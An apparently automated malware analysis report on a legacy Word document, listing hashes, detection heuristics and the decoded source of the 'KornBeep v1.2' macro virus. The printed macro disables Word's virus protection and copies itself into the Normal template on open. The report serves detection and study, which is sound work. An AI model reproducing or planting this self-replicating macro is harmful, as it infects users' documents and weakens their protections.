Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f093bdd96efa1681…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-06-11 16:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f4e51ae05f7d4d2f9545117edf722cd6 SHA-1: 30ede8e8c1d43a6c40ee8e8b808144c3a94cad11 SHA-256: f093bdd96efa168172e78aec259510d3c38cb85ee949638d4aeddde879a0f5a6
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing an AutoOpen macro that disables virus protection. The macro's source code, identified as 'KornBeep v1.2', suggests it is designed to execute malicious actions. The embedded URL, though marked as benign, is associated with the macro's author.

Heuristics 5

  • ClamAV: Doc.Trojan.Hope-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-9
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://pegasus.cc.ucf.edu/~kes65601 In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 683 bytes
SHA-256: 402d8a974e95036a42b3d78683d00660eeb4b71763bf940c22761ada9f73dda1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub autoopen()
Options.VirusProtection = 0
Set k = MacroContainer
Set o = NormalTemplate
If o = k Then Set o = ActiveDocument
Set r = o.VBProject.vbcomponents.Item(1).codemodule
n = r.countoflines
If n <> 9 Then: r.deletelines 1, n: r.addfromstring k.VBProject.vbcomponents.Item(1).codemodule.lines(1, 9): Beep
End Sub
' KornBeep v1.2 12:06pm june 10 1999
' By =9 of SkamWerks! http://pegasus.cc.ucf.edu/~kes65601

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